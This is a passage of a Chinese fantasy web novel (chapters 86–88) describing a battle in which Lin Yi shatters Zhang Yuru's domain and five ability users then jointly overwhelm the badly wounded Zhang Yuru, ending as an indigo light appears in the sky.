《我的能力太常见啦》 第 86章 破局者 “好俊的功夫!”林逸在险之又险地避开张玉汝那记暗藏后招的反击后,借着身形后撤的空隙,忍不住扬声赞叹。 方才那一瞬间,他分明感觉到对方的掌风擦着自己肩头掠过,带起的能量余波几乎要撕裂衣物,这般精准的力道控制,足以让任何一个沉浸于战斗之道的人由衷钦佩。 “倒是个十足的武痴模样。”张玉汝眯起双眼,目光落在林逸那张写满兴奋与狂热的脸上,心中暗自思忖。 从初次交锋到此刻的正面搏杀,林逸的种种表现都透着一股奇特的特质——仿佛对眼下的任务目标漠不关心,对周遭的局势变化也不甚在意,所有的注意力都像被磁石吸附般,牢牢锁定在“战斗”二字上。 张玉汝很清楚,在能力者的世界里,确实存在着这样一类人。 他们如同追逐武道极致的苦行僧,对势力间的明争暗斗、世俗的功名利禄,乃至旁人的评价与名声,都看得极淡,仿佛这些外物不过是修行路上的尘埃。 他们毕生所求,唯有不断打磨自身的能力修为,在一次次突破极限中提升实力;唯有与真正的强者交锋,在生死一线的搏杀里,感受那份转瞬即逝的刺激,领悟藏于险境背后的武道真谛。 若用立场九宫格来划分,这类武痴大多偏向于混沌中立。 阵营的归属、出身的差异,于他们而言远不及一场酣畅淋漓的战斗重要;唯有实力的碰撞与自身的精进,才是值得倾注全部心神的头等大事。 林逸会是这样的人吗?张玉汝的指尖在虚空中轻轻震颤,感受着领域能量流的细微波动。他暂时没有心思去深究这个问题——眼下的战局容不得半点分心,无论是眼前这位战意炽烈的对手,还是领域中那些蠢蠢欲动的强敌,都不会给他太多思考的时间。 赞叹声未落,林逸的身影已如猎豹般再度扑出。 这一次,他不再追求攻势的刚猛,而是将速度与力量揉合成更刁钻的杀招——右腿如钢鞭斜劈张玉汝腰侧,左腿却暗藏后招,膝盖在半空微微一屈,随时准备借势顶向对方心口。 拳峰则带着撕裂空气的锐啸,直取张玉汝面门,三路攻势如同织成的密网,将闪避的空间压缩至极致。 张玉汝眸中寒芒一闪,不退反进。 他左臂横挡腰间,精准架住林逸的鞭腿,掌缘与对方胫骨碰撞的刹那,一股螺旋劲顺着手臂蔓延而出,竟让林逸那势大力沉的一击微微偏了半寸。 与此同时,他身形骤然下沉,避开拳峰的锋芒,右掌如毒蛇出洞,指尖擦着林逸膝盖内侧的麻筋掠过。 “嗤——”林逸只觉腿弯处一阵酸麻,后续的膝撞顿时失了准头。 他心头一凛,借势拧身旋踢,足尖擦着张玉汝耳畔飞过,带起的劲风刮得对方鬓发微扬。 落地的瞬间,他顺势矮身,手肘如攻城锤般撞向张玉汝小腹,却在触及对方衣襟的前一刻,被一只突然探出的手掌稳稳按住。 那手掌看似轻飘飘的,掌心却仿佛生着无形的漩涡。 林逸只觉肘上传来的力道被一股奇异的力量牵引着,顺着对方的手臂游走,竟连收势都变得滞涩。 他猛地发力想要挣脱,却发现越是用劲,那股牵引力便越强,仿佛陷入了泥沼,每一寸肌肉的收缩都在对方的预判之中。 “啧。”林逸低骂一声,另一只拳头已带着破风之声砸向张玉汝面门。 这一拳凝聚了他近七成的力道,拳头上甚至泛起了淡淡的红光,显然动了真格。 张玉汝却不慌不忙,按住他手肘的手掌突然一翻,借势将他的身体往侧面一带。 林逸的拳头擦着张玉汝肩头落空,整个人因惯性向前踉跄半步,露出了肋下的破绽。 张玉汝的指尖几乎是贴着他的肋骨划过,没有造成实质伤害,却带起一阵刺骨的寒意。 林逸瞬间汗毛倒竖,本能地后跃丈许,拉开距离时才发现,自己的衣襟已被对方指尖带起的劲气划破一道细缝。 “有点意思。”林逸甩了甩发麻的手臂,眼中的兴奋渐渐染上几分凝重。 方才的交锋不过瞬息之间,他却清晰地感觉到,自己的每一次发力、每一次变招,都像是撞进了对方精心编织的罗网。 张玉汝的动作看似缓慢,却总能抢在他招式老之前占据最有利的位置,那看似轻柔的格挡与牵引,实则暗藏着对力道、时机、角度的极致掌控。 他深吸一口气,再度发起猛攻。 这一次,他将速度催发到极致,身形在原地拉出数道残影,拳脚肘膝交替出击,每一招都瞄准张玉汝的破绽。 然而张玉汝就像立于风暴中心的磐石,脚步不丁不八,双手或挡或引,总能以最小的动作化解他的攻势。 林逸的拳风越来越急,力道越来越沉,可无论他如何变招,都像是在与一团无形的棉花较劲——刚猛的力量被巧妙卸去,刁钻的角度被提前封堵,甚至连呼吸的节奏,都在不知不觉中被对方牵引着。 林逸额角已渗出细密的汗珠,呼吸也渐渐粗重。 他猛地一个后空翻跳出战圈,望着气定神闲的张玉汝,突然意识到一个让他心惊的事实:自己的动作越来越僵硬了。 方才那记侧踢本应更快更狠,却在抬膝的瞬间感到大腿肌肉莫名的酸胀;方才那记摆拳本应角度更刁钻,却在出拳的刹那被对方提前封住了路线。 这种感觉,就像陷入了一张无形的蛛网。 他越是奋力挣扎,四肢便被缠得越紧,那些原本行云流水的招式,渐渐变得滞涩、刻板,仿佛每一次发力都在触碰对方早已设好的界限。 领域中残存的能量流,不知何时已随着张玉汝的呼吸节奏起伏,而他的心跳、呼吸、甚至肌肉的收缩频率,都在这股无形的牵引下,一点点偏离自己的掌控。 “你……”林逸握紧拳头,指节因用力而发白。他终于明白,对方不仅在化解他的攻击,更在潜移默化中干扰着他的节奏,就像蜘蛛在耐心等待猎物耗尽最后一丝力气。 这种被步步紧逼、处处受限的感觉,比正面溃败更让他心头发闷——他明明还保有大半力量,却觉得自己像被捆住了手脚,每一次挣扎,都只是在向更深的网中陷去。 单纯在肉身强度的维度上来较量,林逸的实力与张玉汝相比,不仅没有丝毫逊色,甚至在力量爆发与防御韧性这两大核心层面,林逸展现出了更胜一筹的优势。 倘若将双方的实力具象化为数值,并进行直观对比,不难发现,林逸能够在数据呈现上实现一定程度的领先,这一领先幅度尚属“小有盈余”的范畴。 然而,不具备碾压性的数值优势,在综合实力比拼的战场上,往往难以成为左右胜负走向的关键砝码。 当双方数值差距未能形成压倒性优势时,战斗机制的运用精妙程度,以及临场操作的细腻与精准度,便一跃成为主宰胜负天平倾斜方向的核心要素。 而恰恰在这两个关乎战斗本质的关键领域,林逸与张玉汝之间横亘着一条颇为显著的实力鸿沟。 张玉汝所掌握的一系列独特能力,宛如赋予其在战斗中纵横捭阖的利器。 诸如“颠倒”这般玄妙莫测的技能,能够在瞬息之间逆转局势。 “枯木逢春”这类神奇的能力,更是为张玉汝在战斗中预留了极大的容错空间,使得他即便出现失误,也能迅速扭转不利局面。 而“加速世界”所带来的极致速度加成,配合“造化之眼”对战场局势的精准洞察,二者相辅相成,构筑起一套近乎完美的攻防体系。 它们从根源上大幅降低了张玉汝出现失误的概率,让其在战斗中始终保持着极高的稳定性。 试想,一个既拥有充足犯错空间,却又凭借强大能力几乎不犯错的对手,在战斗中将会是何等难缠的存在? 或许,现在正在与张玉汝正面交锋的林逸,对这种棘手程度会有着最为深刻且直观的感触。 其实在双方激烈的战斗进程中,大部分时间里,林逸与张玉汝都处于一种微妙的均势状态,你来我往,难分高下。 但人类毕竟不同于冰冷且精准的机器,纵使实力超群,也难以避免在漫长的战斗过程中,于某些瞬间出现难以察觉的微小偏差。 遗憾的是,每当林逸因各种因素出现这些细微失误的瞬间,敏锐的张玉汝总能凭借其出色的战场感知能力,迅速捕捉到这些稍纵即逝的机会。 一次两次的机会,或许尚不足以对战斗走向产生实质性的影响。 然而,当这样的机会积累到成百上千次,量变便引发了质变。 无数个微小的优势不断累积、叠加,最终造就了如今张玉汝牢牢掌控战斗节奏,主导战局发展的局面。 如同金属碰撞的轰鸣尚未消散,林逸身形如离弦之箭,骤然向后疾退,在地面拖曳出两道焦黑痕迹,与张玉汝之间瞬间拉开十余米的距离。 他单膝微屈稳住身形,发丝因剧烈运动而凌乱地垂落额前,目光却如鹰隼般锐利:“喂!接下来这一招你若能稳稳接住,我当场认输!”声浪裹挟着战斗余韵,在这片狼藉的战场上激荡回响。 话音未落,林逸周身便腾起刺目光华。 能量如漩涡般翻涌凝聚,空气中的粒子都在这股威压下震颤扭曲。 这般异象令张玉汝瞳孔骤缩,心中警铃大作:“这家伙究竟想搞什么鬼?” 思绪如闪电般掠过脑海,多年征战培养的本能已驱动他做出反应。 电光火石间,张玉汝足尖猛地蹬地,身形化作残影,朝着林逸侧方急掠而去,准备以攻代守,打乱对方蓄势节奏。 他可不打算就在这里等着对方丢大招。 他们两人又不是在什么友谊第一比赛第二的擂台上打友谊赛,对方说让接招就接招,那岂不是脑子有点问题。 “颠倒。”张玉汝声线低沉如古钟,尾音还未完全消散,一道裹挟着幽冷气息的墨色能量骤然迸发,如同一头觉醒的狂龙,张牙舞爪地撕裂空气,直扑林逸所在方位。 这道蕴含着扭转变化效果的攻击,带着不容置疑的压迫感,仿佛只要命中目标,便能将对方精心酝酿的攻势尽数瓦解。 在张玉汝看来,无论林逸正在筹划何种惊天杀招,只要这道“颠倒”能准确命中,所有的谋划都将化作泡影,徒劳无功。 然而,就在墨色狂龙即将将林逸完全吞噬的千钧一发之际,一道刺目的金光如破晓的朝阳,从林逸周身迸发而出。 璀璨的金色光辉厚重而庄严,似有无形的壁垒横亘眼前。 墨色狂龙裹挟着凌厉之势撞向金色光辉,刹那间,空气仿佛凝固。 两股强大能量碰撞的瞬间,爆发出震耳欲聋的轰鸣。 然而令人意想不到的是,两者并未进入彼此相持的阶段。 那看似不可一世的墨色狂龙竟如脆弱的琉璃,瞬间寸寸破碎,化作点点微光,消散成最原始的能量粒子,在空气中缓缓飘散。 “我这一招,世间少有,你可瞪大眼睛瞧好了!”林逸怒喝。 张玉汝定睛去看对方,试图通过「造化之眼」来看出来一些端倪。 然而迎接张玉汝的是几乎能将人眼直接致盲的猛烈光照。 “草,他有病吧,又不是光明类能力者,搞这么强的光污染干什么。”张玉汝嘴中怒骂道。 这种感觉就像是夜晚走国道,被大运的远光灯照射一般。 张玉汝的双眼几乎在刹那间被灼得失去视物能力,剧痛如同潮水般汹涌袭来,眼前只剩下一片刺目的白芒。 然而多年来在生死边缘摸爬滚打的战斗本能,让他在意识还未完全反应过来时,身体就已下意识地做出防御姿态——双臂交叉护住要害,脊背绷紧,全身肌肉紧绷如拉满的弓弦,严阵以待即将到来的致命一击。 时间在这一刻仿佛被无限拉长,每一秒都变得格外煎熬。 可预想之中那排山倒海般的攻势,却迟迟没有到来。空气中弥漫着诡异的寂静,只有细微的风声掠过耳畔,这反常的平静反而让张玉汝心头警铃大作。 “不对!”这个念头如闪电般划过他的脑海。 多年的实战经验告诉他,越是这种看似平静的时刻,往往隐藏着更大的危机。 他强忍着眼部的剧痛,调动全身仅剩的一丝力量,奋力睁开那双几乎失明的眼睛。 就在睁眼的瞬间,眼前的景象让他瞳孔骤缩。 强光干扰视线的短暂间隙,竟成了对方绝佳的突破口。 只见林逸身形如鬼魅般穿梭其中,他的目标根本不是近在咫尺的张玉汝,而是那看似坚不可摧的「世界」! 一道耀眼的金色光芒如离弦之箭,以雷霆万钧之势穿透「世界」。 那光芒所到之处,空间仿佛被撕裂,发出刺耳的嗡鸣。 原本就已伤痕累累、濒临破碎的「世界」,在这致命一击下再次遭受重创,一道道蛛网般的裂痕以肉眼可见的速度蔓延开来。 而此刻,身处张玉汝领域之中的所有人,都目睹了这震撼人心的一幕:在那由黑白二色交织而成的世界里,一轮璀璨夺目的金色太阳,毫无征兆地骤然升起。 那光芒耀眼夺目,将整个黑白世界都染上了一层神圣而又危险的金色光辉。 第 87章 彼之英雄,我之仇寇 凛冽罡风裹挟着尖锐冰晶,如砂纸般无情打磨着连绵起伏的雪丘,发出刺耳的沙沙声响。 万年冰川在晦暗天光的笼罩下,泛着令人心悸的青灰色冷芒,仿佛是远古巨兽蛰伏于此,散发着冰冷而威严的气息。 冰原之上,裸露的玄武岩棱角锋利如刀刃,在风雪侵蚀下更显冷峻。 层层积雪被雕琢成形态各异、诡谲奇异的冰棱群,它们如同一支支寒光闪烁的长矛,凌乱地矗立着,折射出天空浑浊的铅色,给这片冰原增添了几分神秘而肃杀的氛围。 冰裂缝隙之中,幽蓝的寒气缓缓渗出,仿若大地裂开的伤口在无声地喘息。 不时传来的冰层挤压闷响,沉闷而悠长,在空旷无垠的雪野上久久回荡,进一步加剧了这片天地间的死寂之感,让人不寒而栗。 就在这片死寂达到顶点之时,冰雾翻涌的天际突然传来一阵琉璃碎裂般的清脆声响,打破了令人窒息的寂静。 紧接着,一道耀眼的金芒自苍穹深处猛然迸发,宛如一把炽热无比、锋芒毕露的神戟,以雷霆万钧之势,直直刺向那翻滚涌动的乌云。 金芒所过之处,景象为之剧变:冰棱边缘悄然泛起蜂蜜般温润的光晕,原本凝固千年、冰冷坚硬的雪层竟渗出琥珀色的纹路,仿佛岁月在这一刻被赋予了色彩;就连岩缝中冻结许久、纹丝不动的冰晶,也开始簌簌震颤,像是被这股神秘而强大的力量唤醒。 黑白世界之内的众人,不由自主地抬起头,他们浑浊的瞳孔里,清晰地倒映着那流动的璀璨光河。 令人惊叹的是,那些曾被严寒彻底吞噬的生机,正顺着光线如涟漪般缓缓蔓延开来——雪层之下,带着金边的嫩绿苔藓奋力钻出,展现出顽强的生命力;冰裂缝隙之中,原本冻结的水流化作熔金般的雪水潺潺淌出;就连呼啸而过的北风, 也裹挟着丝丝暖意,将漫天飞舞的飞雪染成细碎的金箔,在空中翩翩起舞。 当金光彻底撕裂厚重的云层,整片雪域仿佛在这一刻被重新赋予了鲜活的生命。 金色浪潮如汹涌的洪流,漫过冰川的每一道褶皱,在冰塔林间折射出万千绚丽光斑。 消融的雪水裹挟着点点金粉,欢快地汇成溪流,叮咚的水声与冰层碎裂的清响相互交织,宛如一首动人的乐章,奏响在这片复苏的冰原之上。 原本死寂沉沉的冰原,此刻生机如同金色星火般迅速燎原,向世间宣告着,无论严寒多么肆虐,希望终将冲破禁锢,带来新生。 然而,正所谓“彼之英雄,我之仇寇”。 林逸在成为他人眼中带来希望的英雄之时,却也给张玉汝带来了巨大的麻烦,一场围绕着这截然不同的影响与立场的纷争,似乎已在悄然酝酿。 金色的光芒遍洒世间,那景象确实美得令人心折。 它如同一剂强心针,为原本色调单调、氛围压抑的世界注入了勃勃生机,让凝滞的空气都仿佛流动起鲜活的气息。可这璀璨光芒的背后,却潜藏着不容忽视的危机——它意味着「世界」已然失去了阻隔众人的能力。 此刻的「世界」,虽尚未彻底碎裂崩塌,却早已形同虚设,除了持续不断地消耗张玉汝本就所剩无几的能量储备,再无任何实际作用。 先前被「世界」分割开来的白镜、丁璎珞、冯难与雷鸣,也终于挣脱了束缚,重新凝聚到一处。 唯有万年,依旧像丢了魂魄般呆立在原地,双目空洞,一动不动,仿佛与周遭的一切都隔了层无形的屏障。 “万年,你发什么呆呢?”冯难眉头紧锁,语气中带着几分不耐与担忧,伸出手指轻轻捅了捅万年。 就在冯难惊愕的目光注视下,万年的身体猛地一晃,随即直直向后倒去,与冰冷的地面狠狠撞在一起,发出沉闷的声响。 “你对他用了什么手段?”冯难瞬间便想通了其中关节,怒火与警惕一同涌上心头,他的目光如淬了冰的刀锋般锐利,一寸寸刮过张玉汝的脸庞,带着毫不掩饰的质问与敌意。 面对冯难的厉声质问,张玉汝却置若罔闻,脸上没有丝毫多余的表情。 他向来没有回答敌人问题的义务,正如林逸先前击破「世界」时,也绝无可能向他解释其中的缘由一般,立场已然对立,任何言语都显得多余而苍白。。 然而张玉汝终究还是想错了,他远远低估了林逸那份异于常人的脱线程度。 “是不是都很好奇,我到底是怎么做到的?”林逸脸上漾着几分得意洋洋的神色,扬声对着周围众人开口问道。 他这话刚一出口,便如一块投入静湖的石子,瞬间吸引了在场所有人的注意力。 那些原本已将注意力集中在张玉汝身上,甚至已摆出围攻架势的人,竟都暂时压下了动手的念头,目光齐刷刷地投向林逸,显然是打算先听一听他接下来要说些什么。 即便是同属天道教、与林逸之间隐隐存在竞争关系的丁璎珞,此刻也没有要阻止林逸的意思。 她静静地站在一旁,眼神中带着几分探究,毕竟两人日后若真要在某些方面一较高下,眼下能趁机收集到对方的相关信息,自然是再好不过的事情了。 见众人的目光都齐刷刷地聚焦在自己身上,林逸也不再继续卖关子,脸上漾起一抹从容的笑意,开口解释道:“我这一招,最特别的地方就在于能够穿透重重叠叠的表象,无视那些纷繁复杂的外在形态,直接作用于各种事物赖以存在的根本基础。只要被我打碎了那层存在的根基,无论其上附着了多少花里胡哨的变化与修饰,最终都会如同失去依托的幻影一般,自行消散不见。” 话音落下的瞬间,仿佛有一颗陨石轰然砸落地面,林逸这番话在众人心中掀起了层层叠叠的惊涛骇浪。 每个人的眼神里都闪过难以置信的惊愕——若是事实真如他所说的这般,那他的这个能力未免也太过夸张,简直颠覆了众人对常规力量的认知。 林逸的解释虽然没有说得太过详尽透彻,但精通物质运动与变化规律的张玉汝,却在瞬间捕捉到了关键,大致理解了对方能力的核心。 这能力的本质,便是能够无视物质在演化过程中产生的各种形态变化,直接跨越表象,精准攻击物质本身的核心。 换句话说,一旦物质本身无法抵挡他的攻击,那么依附于物质存在的一切变化——无论是形态的转换、能量的衍生,还是规则的构建——都会随之土崩瓦解,一同湮灭。 具体到林逸攻击「世界」的那一刻,他根本无需耗费心神去应对「世界」演化出的万千景象与复杂变化,只需要集中力量打碎「世界」最本源的根基,也就是支撑其存在的那股最原始的能量,整个「世界」便会不攻自破。 张玉汝的心头猛地一沉,他万万没有想到,这个曾经被自己压制过的家伙,竟然还藏着如此恐怖的底牌。 这一刻他才真正意识到,大师级能力者果然个个都不能小觑。 林逸亮出的这张底牌,如同在原本就紧绷的战局上投下了一颗重磅炸弹,瞬间将局势彻底扭转,推到了对他极其不利的境地。 “废话少说,趁他现在元气大伤,直接联手做掉他!”白镜的声音冷冽如冰,打破了短暂的沉寂。 他眼神锐利如鹰,死死锁定着张玉汝,心头只有一个念头:此人手段诡异,若不趁此时机除之,日后必成心腹大患。 白镜周身已泛起淡淡的银光,显然早已做好了动手的准备。 话音未落,林逸已如离弦之箭般率先冲了出去。 他脚步踏在地面发出沉闷的咚咚声,每一步都带着崩裂空气的锐响,转瞬便冲到张玉汝近前。 林逸心中很清楚,自己的优势在于近战的灵活性,只有死死缠住张玉汝,不让他有喘息和施展大招的机会,才能给其他人创造攻击的空隙。 他双臂交错成盾,膝盖微屈如蓄势的猛虎,左掌虚晃作势攻向面门,逼得张玉汝仰头闪避的瞬间,右脚已如钢鞭般横扫而出,擦着对方的脚踝掠过,带起一阵撕裂裤管的劲风。 他的动作快如闪电,却又稳如磐石,每一次出拳都精准地落在张玉汝的防御间隙,不求重创,只求牵制,像一块死死粘在骨头上的膏药。 几乎在林逸动身的同一刻,白镜的身影已飘退到数丈之外。 他双掌翻飞如蝶,指尖不断弹出细碎的银光,那些银光落地便化作一面面半人高的银镜。 白镜暗自思忖,张玉汝实力不容小觑,绝不能给他逃跑的机会,必须用银镜构建一个密不透风的牢笼。 “嗡——嗡——”银镜在空中微微震颤,镜面反射出张玉汝的身影,隐隐形成了一个闭合的光网。 不过片刻功夫,二十余面银镜已在四周竖起,镜与镜之间的光线相互连接,织成一道密不透风的银色壁垒。 当张玉汝尝试向左侧移动时,白镜嘴角勾起一抹冷笑,身侧的银镜骤然亮起,一道银线如激光般射来,擦着张玉汝的肩头飞过,在地面留下一道焦黑的刻痕。 “雷鸣,掩护我!”冯难的吼声带着火焰的灼热。 他双手猛地一拍,掌心腾起两簇橘红色的火焰,火焰遇风便长,瞬间化作两条燃烧的火蛇,在他手臂上盘旋游走。 冯难心里憋着一股劲,之前被张玉汝的“世界”困住,让他憋屈不已,现在正是报仇雪恨的好时候。 雷鸣闻言点头,双拳紧握的刹那,周身已缠绕上噼啪作响的蓝色电弧,那些电弧汇聚成一道粗壮的雷鞭,被他甩向空中。 雷鸣打算用雷霆之势压制住张玉汝,让他无法分心应对冯难的火焰攻击。 “轰隆!”雷鞭炸开,化作漫天细密的电网,如乌云般笼罩在张玉汝头顶,滋滋的电流声让空气都变得焦灼。 就在张玉汝被迫抬头防御电网的瞬间,冯难已如离弦之箭般冲至近前,双臂向前一推,两条火蛇呼啸着扑了过去。 张玉汝腹背受敌,心中难免有些焦急。 他的左臂刚刚格开林逸扫来的一腿,肩头便被雷电网扫中,一阵麻痹感顺着骨骼蔓延开来,让他半边身子都有些僵硬。 他咬牙强忍剧痛,体内残余的能量疯狂运转,在身前凝聚出一面灰黑色的能量盾。 “嘭!”火蛇狠狠撞在盾上,爆发出冲天的热浪,能量盾剧烈震颤,表面瞬间布满了蛛网般的裂痕。 他正想趁着盾牌抵挡的间隙,凝聚力量反击冯难,心里盘算着只要能重创冯难,就能打乱他们的阵脚。 可眼角余光却瞥见一道寒光从侧方射来——丁璎珞始终站在战圈边缘,双手拢在宽大的袖袍中,她时刻留意着张玉汝的一举一动,等待着最佳的出手时机。 此刻她屈指弹出三枚菱形的金属暗器,暗器在空中旋转着,带着尖锐的破空声,精准地射向张玉汝凝聚能量时露出的破绽——胸口处因能量流转而出现的一瞬空门。 张玉汝心头一紧,不得不放弃反击的念头,强行扭转身形。“噗嗤!”一枚暗器擦着他的肋骨飞过,带起一串血珠,钉在身后的银镜上发出清脆的响声;另外两枚则被他用手肘挡开,金属碰撞的火花溅在他的衣袖上,烧出两个焦黑的小洞。 他这一躲闪,却给了林逸可乘之机,只听“嘭”的一声闷响,林逸的右拳已结结实实地砸在他的后腰,巨大的力量让他如遭重锤,身体猛地向前踉跄,喉头一阵腥甜涌上,险些喷出鲜血。 张玉汝心中涌起一股深深的憋屈,自己明明实力在这些人之上,却被他们这般围攻,连一次像样的反击都难以施展。 “该死!”张玉汝低吼一声,眼中闪过一丝屈辱与暴怒。 他明明能看清每个人的动作,却因为被林逸死死缠住,根本无法施展身法;好不容易找到空隙想对冯难下手,又被丁璎珞的暗器逼退;想冲破银镜的封锁,白镜总能提前预判他的方向,瞬间让数面银镜同时亮起,用密集的光线织成屏障。 他就像被困在囚笼里的猛兽,每一次挣扎都会引来更猛烈的围攻。 浑身的肌肉因持续紧绷而酸胀,旧伤未愈又添新伤——左臂被雷火烧灼得一片焦黑,皮肤皱巴巴地贴在骨头上,传来阵阵钻心的疼痛;右臂的伤口在频繁格挡中不断撕裂,渗出的鲜血染红了半边衣袖,顺着指尖滴落在地,在地面形成一滩小小的血泊;连呼吸都带着肋骨断裂般的疼痛,每一次吸气都像是有无数根针在刺着他的胸腔。 他尝试着凝聚能量,想再撑开一次小型的“世界”缓冲局势,可刚调动起一丝能量,便感到胸口一阵剧痛——那是维持“世界”崩溃时留下的内伤。 能量在体内紊乱地冲撞,不仅没能形成防御,反而让他眼前一阵发黑。 就在这时,雷鸣的雷鞭再次袭来,这一次带着更狂暴的电流,狠狠抽在他的后颈。 “滋滋!”电流瞬间窜遍全身,张玉汝的身体猛地一颤,动作顿时迟滞了半秒。 就是这半秒的间隙,林逸已欺身而上,左掌按住他的胸口,右拳如雨点般砸向他的小腹。 冯难的火焰紧随其后,灼烧着他的四肢,皮肤被烧得发出滋滋的声响,散发出一股焦糊味;白镜的银镜射出的光线割破了他的脸颊,留下一道血痕,鲜血顺着脸颊滑落,滴进他的嘴里,带着浓浓的血腥味;丁璎珞的暗器则如影随形,始终瞄准他防御的薄弱处。张玉汝感到自己的意识在逐渐模糊,身体像散了架一般,每一寸肌肤都在尖叫着疼痛。 他想反击,想嘶吼,想撕碎眼前的一切,却只能在无尽的围攻中,感受着力量一点点流逝,伤口一点点扩大。 第 88章 惊觉 从眼下的局势来看,张玉汝显然已被揍得狼狈不堪。 在五名大师级能力者的联手围攻之下,他就像惊涛骇浪中飘摇的孤舟,连招架之功都已所剩无几,更别说组织起有效的反击了。 每一次试图抬起手臂格挡,都会被更密集的攻击逼得连连后退,身形踉跄间,身上的伤口不断撕裂,鲜血顺着衣袍下摆滴落,在地面晕开一滩滩刺目的红。 林逸在近身缠斗中展现出了惊人的韧性,他如同跗骨之蛆般死死黏在张玉汝身前,脚步腾挪间总能精准地预判对方的闪避轨迹。 时而以手肘猛撞张玉汝的肋下,时而用脚尖勾绊他的脚踝,每一次接触都带着刚猛的力道,让张玉汝根本无法拉开距离。 这种密不透风的牵制,彻底断绝了张玉汝摆脱纠缠、重新调整气息的可能,只能被动地在方寸之间疲于奔命。 与此同时,白镜正全神贯注地改造着周遭的环境。 他指尖弹出的银光不断在地面、冰川间流转,那些半人高的银镜如同拥有生命般自行移动,镜与镜之间的光线交织成一张无形的能量网,将这片空间的能量流动彻底搅乱。 原本属于张玉汝的领域气息,在这张光网的压制下变得支离破碎,别说重新凝聚领域,就连调动周围环境中的能量来补充自身消耗,都成了奢望。 远程火力输出的重任,则稳稳落在了雷鸣和冯难肩上。 雷鸣周身的各色电弧越发明亮,每一次挥拳都带着“噼啪”的炸响,一道道粗壮的雷电如同灵动的蛇群,循着张玉汝的气息猛扑而去,击中目标时便爆发出强烈的麻痹感,让他的动作愈发迟滞。 冯难掌心的火焰则燃烧得愈发炽烈,橘红色的火舌舔舐着空气,凝聚成一枚枚滚烫的火球,呼啸着砸向张玉汝的周身。 雷电的狂暴与火焰的炽烈,本就是自然界中最具破坏力的两种能量。 此刻二者相互配合,火焰为雷电提供了更强的传导性,雷电则让火焰的灼烧感愈发蚀骨,联手之下爆发出的威力更是成倍增长,每一次轰击都让张玉汝身上的焦痕又深了几分。 丁璎珞始终站在战圈边缘,她的出手看似轻描淡写,那些从袖中飞出的金属暗器,大多只是擦过张玉汝的身体,留下几道浅浅的血痕,似乎造成的伤害微不足道。 但细究之下便会发现,她的每一次出手都精准无比——每当林逸的缠斗出现一丝空隙,或是雷鸣与冯难的远程攻击衔接稍慢时,她的暗器便会如及时雨般赶到,要么逼得张玉汝不得不改变闪避方向,要么恰好落在他即将凝聚能量的穴位上,完美地填补了其余几人攻击的空缺,让整个围攻之势始终保持着密不透风的压迫感。 试想一下,五名大师级能力者合力围攻一人,这该是何等“殊荣”? 更何况这五人之中,白镜、丁璎珞、林逸、雷鸣四人,皆来自能力者世界的顶级势力,各自有着传承深厚的秘法与资源。 剩下的冯难虽出身成谜,但其展现出的实力与诡异能力,却丝毫不逊色于另外四人。 这样的豪华阵容,这样默契无间的配合,最终打出如此一边倒的结果,本就是理所当然之事。 五人的攻势如狂风骤雨,织成一张让张玉汝无处可逃的死亡之网。 他喉咙里涌上的腥甜一次次被强行咽下,肋骨断裂般的疼痛让呼吸都成了酷刑,左臂被雷电灼得焦黑,右臂的伤口深可见骨,鲜血顺着指尖滴落在地,溅起的血珠还未落地,便被冯难的火焰烤成了青烟。 任谁来看,张玉汝的败亡都只是时间问题,再无翻盘的可能。 可即便如此,作为围攻者之一的白镜,心头却始终萦绕着一丝难以言喻的违和感。 张玉汝的眼神虽布满血丝,却始终没有真正的慌乱;他的脚步虽踉跄,却总能在毫厘之间避开致命伤。 刚才那记本可洞穿他肩胛的雷火合击,分明看到他已避无可避,却不知为何,身形竟以一个违背常理的角度拧了过去,只被擦中皮肉。 他一边操控着银镜压缩张玉汝的活动空间,一边下意识地观察着对方的每一个动作——张玉汝的喘息虽粗重,却似乎并未到油尽灯枯的地步;他的眼神虽充满暴怒与不甘,却少了几分绝境下的疯狂。 “不对劲……” 白镜的指尖猛地一顿,银镜的攻势出现了刹那的迟滞。 这丝违和感像根刺,扎在他心头 —— 明明是碾压般的局势,可每一次击中张玉汝,都像打在棉花上,始终差着那致命的一寸。 他抬头看向林逸,对方眼中的专注不似作伪;再瞥向丁璎珞,她的暗器依旧精准如仪。可那份挥之不去的诡异感,却让这密不透风的围攻,透出了一丝令人心悸的缝隙。 可具体哪里不对劲,白镜一时又说不上来,只能将这丝疑虑压在心底,加紧了对张玉汝的封锁,试图用更猛烈的攻势打破这份莫名的怪异。 随着众人攻势愈发猛烈,张玉汝身上的伤势也在以肉眼可见的速度不断加重。 那些狰狞的伤口处早已不再有鲜血涌出,只剩下干涸的血痂与外翻的皮肉,而他身体里相当一部分骨骼更是在连绵不断的重击下彻底碎裂,每一次轻微的动弹都伴随着令人牙酸的骨裂声,整个人瘫软在地,气息微弱得如同风中残烛,俨然一副灯尽油枯、命不久矣的模样。 目睹这般景象,白镜暂时将心中那些盘旋不去的疑惑压了下去,深吸一口气后扬声大喊道:“各位再加把劲,务必尽早解决掉这个家伙!” 话音尚未完全消散在空气中,白镜便率先加大了自身能量的输出,那股汹涌的力量如同决堤的洪水般朝着张玉汝猛冲而去。 其余几人见状也纷纷不再有所保留,各自施展出更强的招式,一道道凌厉的攻击如同雨点般密集地落在张玉汝身上,誓要将他彻底击溃。 在众人一轮又一轮的轮番重击之下,张玉汝本就凄惨无比的模样变得愈发不堪入目。 他像个破败的布偶般被打得东倒西歪,这一人抬脚将他踹向那边,另一人立刻挥拳又将他打了回来,几人你来我往,竟隐隐透出几分打球接力赛般的诡异默契,每一次的击打都让张玉汝发出痛苦的闷哼,却连挣扎的力气都已丧失。 看着这个给自己惹来无数麻烦的家伙被折腾成这副惨状,白镜心中积压已久的郁气仿佛瞬间找到了宣泄的出口,一股难以言喻的舒爽感从心底蔓延开来。他甚至忍不住加入了这场“游戏”。 他刻意放缓了致命一击的节奏,就像玩游戏时明明可以直接推掉水晶,却偏要守在对方泉水前多虐几波的玩家一般,享受着这种掌控对方生死的快感,脸上渐渐浮现出一抹带着快意的笑容。 就在几人玩得正起兴,将张玉汝当作玩物般肆意戏耍的当口,原本阴沉的天空之中,忽然有一抹靛蓝色的光芒骤然亮起。 那光芒璀璨夺目,如同将整片天空都染上了一层剔透的琉璃色泽,可这般耀眼的景象仅仅持续了转瞬之间,便如同从未出现过一般悄然隐没,快得让人几乎以为是错觉。 然而,来自自然教会的白镜与雷鸣二人,却丝毫没有将这短暂的异象视作幻觉。 两人几乎在光芒消散的同一刹那,不约而同地瞪大了眼睛,脸上写满了难以置信的惊愕,齐齐失声惊呼道:“是玄霜云珀!” 